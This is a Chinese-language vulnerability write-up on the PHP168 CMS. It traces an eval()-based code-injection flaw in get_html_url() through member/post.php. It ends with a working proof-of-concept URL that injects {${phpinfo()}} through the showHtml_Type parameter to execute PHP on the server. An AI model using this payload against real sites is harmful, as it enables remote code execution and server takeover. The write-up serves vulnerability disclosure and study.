漏洞出在inc/function.inc.php里面.get_html_url()这个函数.


function get_html_url(){

global $rsdb,$aid,$fidDB,$webdb,$fid,$page,$showHtml_Type,$Html_Type;

$id=$aid;

if($page<1){

  $page=1;

}

$postdb[posttime]=$rsdb[posttime];



if($showHtml_Type[bencandy][$id]){

  $filename_b=$showHtml_Type[bencandy][$id];

}elseif($fidDB[bencandy_html]){

  $filename_b=$fidDB[bencandy_html];

}else{

  $filename_b=$webdb[bencandy_filename];

}

//对于内容页的首页把$page去除

if($page==1){

  $filename_b=preg_replace("/(.*)(-{\\\$page}|_{\\\$page})(.*)/is","\\1\\3",$filename_b);

}

$dirid=floor($aid/1000);

//对于内容页的栏目小于1000篇文章时,把DIR分目录去除

if($dirid==0){

  $filename_b=preg_replace("/(.*)(-{\\\$dirid}|_{\\\$dirid})(.*)/is","\\1\\3",$filename_b);

}

if(strstr($filename_b,'$time_')){

  $time_Y=date("Y",$postdb[posttime]);

  $time_y=date("y",$postdb[posttime]);

  $time_m=date("m",$postdb[posttime]);

  $time_d=date("d",$postdb[posttime]);

  $time_W=date("W",$postdb[posttime]);

  $time_H=date("H",$postdb[posttime]);

  $time_i=date("i",$postdb[posttime]);

  $time_s=date("s",$postdb[posttime]);

}

if($fidDB[list_html]){

  $filename_l=$fidDB[list_html];

}else{

  $filename_l=$webdb[list_filename];

}

if($page==1){

  if($webdb[DefaultIndexHtml]==1){

   $filename_l=preg_replace("/(.*)\/([^\/]+)/is","\\1/index.html",$filename_l);

  }else{

   $filename_l=preg_replace("/(.*)\/([^\/]+)/is","\\1/index.htm",$filename_l);

  }

}

eval("\$array[_showurl]=\"$filename_b\";");

eval("\$array[_listurl]=\"$filename_l\";");

//自定义了栏目域名

if($Html_Type[domain][$fid]&&$Html_Type[domain_dir][$fid]){

  $rule=str_replace("/","\/",$Html_Type[domain_dir][$fid]);

  $filename_b=preg_replace("/^$rule/is","{$Html_Type[domain][$fid]}/",$filename_b);

  $filename_l=preg_replace("/^$rule/is","{$Html_Type[domain][$fid]}/",$filename_l);

  //特别处理一下些自定义内容页文件名的情况.

  if(!eregi("^http:\/\/",$filename_b)){

   $filename_b="$webdb[www_url]/$filename_b";

  }

}else{

  $filename_b="$webdb[www_url]/$filename_b";

  $filename_l="$webdb[www_url]/$filename_l";

}

eval("\$array[showurl]=\"$filename_b\";");

eval("\$array[listurl]=\"$filename_l\";");

return $array;

}


当$showHtml_Type这个数组存在时,赋值$filename_b为$showHtml_Type[bencandy][$id].跟一下这个get_html_url()函数.

在member/post.php中:


if(!$aid&&!$rid){

$aid=$id;

}

if($rid)

{

if(!$aid){

  showerr("aid不存在!");

}

$erp=get_id_table($aid);

//修改主题或修改多页都可

$rsdb=$db->get_one("SELECT R.*,A.* FROM {$pre}article$erp A LEFT JOIN {$pre}reply$erp R ON A.aid=R.aid WHERE R.rid='$rid'");

$aid=$rsdb[aid];

$fid=$rsdb[fid];

$mid=$rsdb[mid];

}

elseif($aid)

{

$erp=get_id_table($aid);

//只能是修改主题/续发文章

$rsdb=$db->get_one("SELECT R.*,A.* FROM {$pre}article$erp A LEFT JOIN {$pre}reply$erp R ON A.aid=R.aid WHERE A.aid='$aid' ORDER BY R.rid ASC LIMIT 1");

isset($fid) || $fid=$rsdb[fid];

$mid=$rsdb[mid];

}

//让用户选择栏目

if((!$fid&&!$only)||$jobs=="choose")

{

$sortdb=array();

if( $webdb[sortNUM]>500||$fid ){

  $rows=100;

  $page<1 && $page=1;

  $min=($page-1)*$rows;

  $showpage=getpage("{$pre}sort","WHERE fup='$fid'","?lfj=$lfj&job=$job&jobs=$jobs&only=$only&mid=$mid&fid=$fid",$rows);

  $query = $db->query("SELECT * FROM {$pre}sort WHERE fup='$fid' ORDER BY list DESC,fid ASC LIMIT $min,$rows");

  while($rs = $db->fetch_array($query)){

   $rs[post]=$rs[NUM]=$rs[do_art]='';

   $detail_admin=@explode(",",$rs[admin]);

   $detail_allowpost=@explode(",",$rs[allowpost]);

   if(!$rs[type]&&( $web_admin||($lfjid&&@in_array($lfjid,$detail_admin))||@in_array($groupdb['gid'],$detail_allowpost) ))

   {

    $erp=$Fid_db[iftable][$rs[fid]];

    $_rs=$db->get_one("SELECT COUNT(*) AS NUM FROM {$pre}article$erp WHERE fid='$rs[fid]' AND uid='$lfjuid'");

    if($_rs[NUM]&&$lfjid){

     $rs[NUM]="( <b>{$_rs[NUM]}</b> )";

     $rs[do_art]="<A HREF='myarticle.php?job=myarticle&fid=$rs[fid]' class='manage_article'>管理</A>";

    }

    $rs[post]="<A HREF='?job=postnew&fid=$rs[fid]' class='post_article'>发表</A>";

    $allowpost++;

   }

   $sortdb[]=$rs;

  }

  if($fid){

   $show_guide="<A HREF='?lfj=$lfj&jobs=$jobs&job=$job&only=$only&mid=$mid'>返回顶级目录</A> ".list_sort_guide($fid);

  }

}else{  

  list_post_allsort();

  if(!$allowpost){

   showerr("你所在用户组无权发表文章",1);

  }

}

$MSG="请选择一个栏目投稿";

require(dirname(__FILE__)."/"."head.php");

require(dirname(__FILE__)."/"."template/post_set.htm");

require(dirname(__FILE__)."/"."foot.php");

exit;

}

if($fid||$step){

$fidDB=$db->get_one("SELECT * FROM {$pre}sort WHERE fid='$fid'");

!$fidDB && showerr("栏目有误");

$fidDB[type]!=0 && showerr("你只能选择子栏目发表内容!");

}

$job=='postnew' && !$mid && $mid=$fidDB[fmid];

if($lfjid&&@in_array($lfjid,explode(',',$fidDB[admin])))

{

$web_admin=1;

}

if($fidDB&&!$web_admin&&!in_array($groupdb[gid],explode(',',$fidDB[allowpost])))

{

showerr("你所在用户组无权在本栏目“{$fidDB[name]}”有任何操作");

}

if(!$lfjid&&$job!='postnew')

{

showerr("游客无权操作");

}

$atc_power=0;

if($lfjid)

{

if($web_admin||$lfjuid==$rsdb[uid]){

  $atc_power=1;

}

}

$uid=isset($rsdb[uid])?$rsdb[uid]:$lfjuid;

if($job=='endHTML')

{

$htmlurldb=get_html_url();

//首页生成静态

@unlink(PHP168_PATH."index.htm.bak");

rename(PHP168_PATH."index.htm",PHP168_PATH."index.htm.bak");

refreshto("myarticle.php?job=myarticle&mid=$mid&only=$only","<CENTER>[<A HREF='?job=postnew&fid=$fid&mid=$mid&only=$only'>发表新主题</A>] [<A HREF='?job=post_more&aid=$aid&mid=$mid&only=$only'>续发本主题</A>] [<A HREF='myarticle.php?job=myarticle&fid=$fid&mid=$mid&only=$only'>返回文章列表</A>] [<A HREF='{$htmlurldb[showurl]}' target=_blank>查看文章</A>] [<A HREF='?job=manage&aid=$aid&mid=$mid&only=$only'>修改文章</A>]</CENTER>",60);

}

当only或者fid不等于0时,且job等于"endHTML"时,执行函数.由于$showHtml_Type数组和$aid是可以由我们赋值的,所以漏洞产生.


先注册一个会员,登陆后在地址栏提交:

http://URL/member/post.php?only=1&showHtml_Type[bencandy][1]={${phpinfo()}}&aid=1&job=endHTML

可以看到执行了phpinfo().
